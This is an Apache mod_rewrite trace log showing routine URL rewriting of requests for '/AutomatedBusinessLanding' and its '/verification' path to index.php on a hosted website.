[Mon Nov 10 18:44:50.934162 2025] [rewrite:trace3] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40c0880/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934180 2025] [rewrite:trace3] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40c0880/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934194 2025] [rewrite:trace3] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40c0880/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934207 2025] [rewrite:trace4] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40c0880/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934219 2025] [rewrite:trace3] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40c0880/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934228 2025] [rewrite:trace3] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40c0880/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934242 2025] [rewrite:trace3] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40c0880/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934256 2025] [rewrite:trace4] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40c0880/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934271 2025] [rewrite:trace1] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40c0880/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934543 2025] [rewrite:trace3] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934550 2025] [rewrite:trace3] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934610 2025] [rewrite:trace4] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934624 2025] [rewrite:trace4] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934637 2025] [rewrite:trace4] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934651 2025] [rewrite:trace2] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934662 2025] [rewrite:trace3] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934673 2025] [rewrite:trace2] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934682 2025] [rewrite:trace2] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:50.934692 2025] [rewrite:trace1] [pid 12043:tid 12056] mod_rewrite.c(505): [client 192.42.116.182:52273] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:44:51.186985 2025] [rewrite:trace3] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c04e550/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187028 2025] [rewrite:trace3] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c04e550/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187039 2025] [rewrite:trace3] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c04e550/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187069 2025] [rewrite:trace4] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c04e550/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187092 2025] [rewrite:trace4] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c04e550/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187117 2025] [rewrite:trace4] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c04e550/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187135 2025] [rewrite:trace2] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c04e550/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187151 2025] [rewrite:trace3] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c04e550/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187163 2025] [rewrite:trace2] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c04e550/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187175 2025] [rewrite:trace2] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c04e550/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187186 2025] [rewrite:trace1] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c04e550/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187363 2025] [rewrite:trace3] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0d4a90/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187392 2025] [rewrite:trace3] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0d4a90/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187403 2025] [rewrite:trace3] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0d4a90/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187416 2025] [rewrite:trace4] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0d4a90/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187428 2025] [rewrite:trace3] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0d4a90/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187437 2025] [rewrite:trace3] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0d4a90/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187447 2025] [rewrite:trace3] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0d4a90/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187460 2025] [rewrite:trace4] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0d4a90/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187470 2025] [rewrite:trace1] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0d4a90/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187666 2025] [rewrite:trace3] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0cc730/subreq] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187698 2025] [rewrite:trace3] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0cc730/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187724 2025] [rewrite:trace3] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0cc730/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187753 2025] [rewrite:trace4] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0cc730/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187784 2025] [rewrite:trace4] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0cc730/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187800 2025] [rewrite:trace4] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0cc730/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187810 2025] [rewrite:trace2] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0cc730/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187820 2025] [rewrite:trace3] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0cc730/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187831 2025] [rewrite:trace2] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0cc730/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187841 2025] [rewrite:trace2] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0cc730/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:51.187857 2025] [rewrite:trace1] [pid 11952:tid 11961] mod_rewrite.c(505): [client 192.42.116.196:47991] 192.42.116.196 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff29c0cc730/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.887582 2025] [rewrite:trace3] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/initial] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.887649 2025] [rewrite:trace3] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding/verification -> AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.887654 2025] [rewrite:trace3] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.887680 2025] [rewrite:trace4] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.887705 2025] [rewrite:trace4] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.887724 2025] [rewrite:trace4] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.887736 2025] [rewrite:trace2] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding/verification' -> 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.887747 2025] [rewrite:trace3] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding/verification -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.887761 2025] [rewrite:trace2] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.887781 2025] [rewrite:trace2] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> /index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.887795 2025] [rewrite:trace1] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b8004f80/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding/verification [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.887952 2025] [rewrite:trace3] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80fc950/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.887970 2025] [rewrite:trace3] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80fc950/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.887981 2025] [rewrite:trace3] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80fc950/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding/verification', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.887990 2025] [rewrite:trace4] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80fc950/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding/verification' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.888008 2025] [rewrite:trace3] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80fc950/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Mon Nov 10 18:44:52.888011 2025] [rewrite:trace3] [pid 12043:tid 12071] mod_rewrite.c(505): [client 192.42.116.182:59145] 192.42.116.182 - - [measureyourbrand.com.au/sid#22be63e8][rid#7ff2b80fc950/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding/verification -> index.php/AutomatedBusinessLanding/verification, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
